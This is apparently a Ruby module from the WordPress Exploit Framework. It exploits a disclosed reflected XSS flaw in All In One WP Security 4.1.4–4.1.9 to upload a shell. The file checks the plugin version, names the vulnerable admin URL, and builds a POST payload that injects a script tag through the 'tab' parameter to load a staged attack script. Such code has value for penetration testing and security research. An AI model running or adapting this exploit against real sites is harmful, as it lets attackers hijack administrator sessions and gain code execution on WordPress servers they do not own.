# frozen_string_literal: true

class Wpxf::Exploit::AllInOneWpSecurityReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'All In One WP Security 4.1.4 to 4.1.9 Reflected XSS Shell Upload',
      author: [
        'Yorick Koster', # Disclosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '8665'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_all_in_one_wp_security___firewall_wordpress_plugin.html']
      ],
      date: 'Nov 16 2016'
    )
  end

  def check
    check_plugin_version_from_readme('all-in-one-wp-security-and-firewall', '4.1.10', '4.1.4')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php?page=aiowpsec&tab=tab3')
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'tab' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>"
    )
  end
end
